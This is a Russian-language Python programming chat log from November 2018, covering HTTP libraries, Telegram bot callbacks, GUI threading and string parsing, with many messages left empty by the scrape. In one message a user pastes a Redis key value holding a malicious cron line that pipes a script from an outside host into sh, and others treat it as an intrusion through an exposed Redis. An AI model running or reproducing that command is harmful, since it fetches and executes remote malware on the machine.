
LighteR
08.11.2018
10:54:59

Jentry
08.11.2018
10:58:25
Многие системы проектируется с точками отказа, которые держат на особом контроле. Например, если ты сядешь писать свой шедулер, то столкнешься со сложностью распределения тасков и, вероятно, у тебя будет все-таки один шедулер

LighteR
08.11.2018
11:02:00

Mike
08.11.2018
11:02:28

Google

Игорь
08.11.2018
11:04:07

Денис
08.11.2018
11:04:20
Ребята, сливаю бесплатно прогнозы на спорт от прибыльных каперов, кому интересно пишите в ЛС, добавлю бесплатно

Good
08.11.2018
11:04:28
Нет
@bot.message_handler(func=lambda m: m.text in ('stop', '/stop', 'старт'))
так сделал, работает

Mike
08.11.2018
11:04:34

Alex
08.11.2018
11:06:14
@fahreeve @gloomy_philosopher кстати на тему недавних постов, предлагаю явно запретить бросать сюда снимки экрана с телефонов, если это не связано с проблемой загрузки ОС.

?? Eugene
08.11.2018
11:09:05
Поддержу

LighteR
08.11.2018
11:10:02

Alex
08.11.2018
11:13:30

Alex
08.11.2018
11:14:05

Sfy
08.11.2018
11:14:14
Чем отличается urllib.request от requests?
Я слышал, что urllib.request более старый.

Alex
08.11.2018
11:14:34
urllib.request - входит в stdlib, requests - нет

Google

Sfy
08.11.2018
11:15:34
Я dir делал, первый длиннее.
И разные методы/атрибуты.

Alex
08.11.2018
11:15:48
requests - надстройка над urllib, предоставляющая удобный интерфейс для работы с http запросами.
только сегодня обсуждали в другом чате, как общение с идиотами сказывается на психологической устойчивости в контексте ухода Линуса на покой.

LighteR
08.11.2018
11:17:02

Sfy
08.11.2018
11:18:14

Jentry
08.11.2018
11:18:15

LighteR
08.11.2018
11:18:48

Alex
08.11.2018
11:19:23

LighteR
08.11.2018
11:19:27
Я имел в виду, что в синхронных приложениях requests уже стал практически стандартом де-факто
И искать какой-то другой клиент имеет смысл если нужна асинхронщина

Alex
08.11.2018
11:20:07
urllib не умеет в асинхронный код ЕМНИП

LighteR
08.11.2018
11:21:01

Alex
08.11.2018
11:22:11
если питон >=3.5
а если нет - то хоть requests, хоть urllib поверх какого-нибудь gevent работают

LighteR
08.11.2018
11:22:46

Alex
08.11.2018
11:23:21

Google

Good
08.11.2018
11:23:33
При нажатии на кнопку:
callback_button = types.InlineKeyboardButton(text="? Оплатить 3500 рублей",callback_data="oplata")
Как от сюда вызвать функцию
if message.data == "oplata":
bot.register_next_step_handler(send_welcom)
Вот эту функцию
@bot.message_handler(func=lambda m: m.text in ('stop', '/stop', '? Оплатить 3500 рублей'))
def send_welcome(message):
msg = bot.send_message(message.chat.id, "? Введите свой e-mail")
bot.register_next_step_handler(msg, process_name_step)
При вводе
bot.register_next_step_handler(send_welcom)
ошибка

Проксимов
08.11.2018
11:28:27

Alex
08.11.2018
11:28:57
Шо
да тут утром был персонаж, который бросал в чат фото монитора.

Good
08.11.2018
11:29:09
???

Проксимов
08.11.2018
11:29:21
С ИИ и распознованием

Alex
08.11.2018
11:29:50
=) предпочитаю такие вещи решать административно.

Good
08.11.2018
11:41:01
хэлпаните почаны)

Aragaer
08.11.2018
11:44:33
а я вроде предлагал стартапчик - онлайн сервис, куда ты отправляешь нормальный скриншот (или копипастишь текст), а он генерит картинку, как если бы ты монитор сфоткал на телефон
думаю, пользовался бы спросом

?? Eugene
08.11.2018
11:44:59
)))

Егор
08.11.2018
11:45:07
лучше бы был сервис который делает наоборот)
качественно, красиво, и ориентированно на вывод терминала

?? Eugene
08.11.2018
11:45:17

Good
08.11.2018
11:45:27
выше вопрос)

Aragaer
08.11.2018
11:46:46
а, собственно монетизация это что за подписку ты получаешь бонусные виды оформления - ну там что это не просто экран, а распоследний макбук, а в нем отражается окно, в котором пальмы

Егор
08.11.2018
11:47:31

Google

Aragaer
08.11.2018
11:47:35
или там часть экрана закрывает стакан со смузи

Тимур
08.11.2018
11:48:05
А в блике монитора красотка в бикини. Чтобы никто не думал, что ты одинокий задрод

Aragaer
08.11.2018
11:48:24
естессно

Admin
ERROR: S client not available

Тимур
08.11.2018
11:49:12
Это гениально, пошёл пилить сервис. Куплю ламбу. И на фиг эти биткоины

Kirill
08.11.2018
11:50:03
Осваиваю redis,
после ночи работы, в базе появились ключи с именами "Back"
DB keys: [b'Back3', b'array', b'shape', b'timestamp', b'Back1', b'Back2']
value: b'\t\n* * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh\n\t'
Это что это?

Митя Слонимский
08.11.2018
11:50:49
прив. пишу утилитку с GUI - иконка в трее с меню по ПКМ. добавляю функцию которая постоянно используя time.sleep() проверяет доступность каталога. как только запускаю с этой функцией - правый клик на иконке в трее перестает работать, я так понимаю несколько функций не могут работать одновременно.... как максимально просто это можно реализовать?

?? Eugene
08.11.2018
11:51:48

Евгений
08.11.2018
11:52:10

Тимур
08.11.2018
11:52:17

Митя Слонимский
08.11.2018
11:53:10

?? Eugene
08.11.2018
11:54:13

Sfy
08.11.2018
11:54:21

Евгений
08.11.2018
11:54:49
Ну а если запариться - можно тру сервис на железе сделать - комната с разными мониторами (желательно ЭЛТ), вокруг каждого камеры и лампочки расставлены со всес сторон, и они все подрублены в одну систему, которая обрабатывает входящие запросы, закидывает на монитор по очереди скрины, и рандомная камера делает фото. Можно также зажигать рандомную лампочку для бликов, а монитор постоянно медленно вращается туда-сюда, чтобы исключить полностью идентичные снимки

?? Eugene
08.11.2018
11:54:51

Tishka17
08.11.2018
11:57:30

Andrew
08.11.2018
11:59:28

LighteR
08.11.2018
12:00:51
Либо user input в redis сохраняешь и это пришло из какой-то формы

Мой любимый
08.11.2018
12:01:11

Kirill
08.11.2018
12:01:12

Google

Kirill
08.11.2018
12:01:54

LighteR
08.11.2018
12:02:27
проверь на всякий случай /root/.ssh/authorized_keys

Nurlan
08.11.2018
12:03:38
Добрый день, подскажите как сделать следующее? у меня строка имеет следующую структуру, и мне надо вытащить значение principal name
[ [Principal Clz Name : oracle.security.jps.service.policystore.ApplicationRole, Principal Name : BPMProcessAdmin, Type : APP_ROLE], Display Name : BPM Admin Role, Description : BPM application admin role, has full privilege for performing any operations including security related, Guid : 00FDF650709111E4BF4C939C928DBAB5]
[ [Principal Clz Name : oracle.security.jps.service.policystore.ApplicationRole, Principal Name : TestPOST.ProcessOwner, Type : APP_ROLE], Display Name : TestPOST.ProcessOwner, Description : null, Guid : C6334960709711E4BF4C939C928DBAB5]
только начал осваивать:)

Kirill
08.11.2018
12:04:41

LighteR
08.11.2018
12:05:17
лучше вообще наружу не выставлять

Жасулан
08.11.2018
12:07:44

Andrew
08.11.2018
12:08:41
Когда за подобное будут р/о выдать?

Nurlan
08.11.2018
12:12:05
написал пока вот так
import sys;
from cStringIO import StringIO
connect(sys.argv[2],sys.argv[3],sys.argv[1])
try:
originalout = sys.stdout
sys.stdout = currentout = StringIO()
listAppRoles('OracleBPMProcessRolesApp')
sys.stdout = originalout
roles=currentout.getvalue()
print roles
for role in roles.split("\n"):
try:
print 'The role is: "' + role.strip('[]') + '"'
except Exception, e:
print e
continue
except Exception, e:
print e
exit()

Aliona
08.11.2018
12:12:25
всем привет. как вы относитесь к структурному (нисходящему) программированию в python, насколько это, по-вашему, эффективно?